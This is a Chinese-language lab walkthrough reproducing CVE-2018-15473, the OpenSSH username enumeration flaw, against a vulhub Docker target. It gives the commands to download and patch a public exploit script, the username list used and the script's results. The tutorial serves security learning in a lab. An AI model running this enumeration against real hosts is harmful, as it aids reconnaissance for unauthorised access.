介紹:
OpenSSH 7.7前存在一個使用者名稱列舉漏洞,透過該漏洞,攻擊者可以判斷某個使用者名稱是否存在於目標主機中,在復現過程中遇到了很多坑,這裡我就把遇到坑和解決方法告訴大家!!!
漏洞環境:
靶機:Ubuntu(vulhub)
IP:192.168.0.103
攻擊機:kali
IP:192.168.0.104
漏洞復現:
1.開啟環境
#cd vulhub-master/openssh/CVE-2018-15473 //進入目錄
#docker-compose build
#docker-compose up -d //開啟環境
環境啟動後,我們在kali執行ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@192.168.0.103 -p20022,輸入密碼vulhub,即可登入到容器中,這裡我就不在演示了。
2.工具下載
使用 CVE-2018-15473-Exploit 工具進行使用者名稱列舉。
其中在kali裡面下載
#wget http://github.com/Rhynorater/CVE-2018-15473-Exploit/archive/refs/heads/master.zip //使用wget下載
#unzip master.zip //解壓
其中注意!在複製下載壓縮包連線到kali下載時複製是https,可能會下載失敗,這裡解決方法是改成http,如果還是下載失敗,建議本機下載複製到kali裡。
3.漏洞復現
首先進入解壓好的資料夾裡,透過執行pip install -r requirements.txt
安裝依賴。
可能會出現一下報錯資訊
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
提示以“root”使用者身份執行 pip 可能會導致許可權損壞和衝突,因此我們需要創造一個虛擬的環境區執行它。
#python3 -m venv tutorial-env //建立一個虛擬環境
#source tutorial-env/bin/activate //啟用環境
#pip install -r requirements.txt //再次安裝依賴
新增幾個使用者名稱到exampleInput.txt裡
root
example
vulhub
nobody
rootInvalid
user
phithon
123
321
執行命令進行使用者名稱列舉
#python3 sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt 192.168.0.103
會發現有報錯
Traceback (most recent call last):
File "/root/桌面/CVE-2018-15473-Exploit-master/sshUsernameEnumExploit.py", line 33, in <module>
old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: 'property' object is not subscriptable
這裡要修改的有三處地方,都是在_handler_table換成_client_handler_table。
第一處在sshUsernameEnumExploit.py指令碼的33行
第二處在124行
第三處在125行
在執行指令碼
#python3 sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt 192.168.0.103
可以看到成功列舉出使用者名稱
可見,root
、example
、vulhub
、nobody
是存在的使用者,rootInvalid
、user
、phithon
、123、321是不存在的使用者。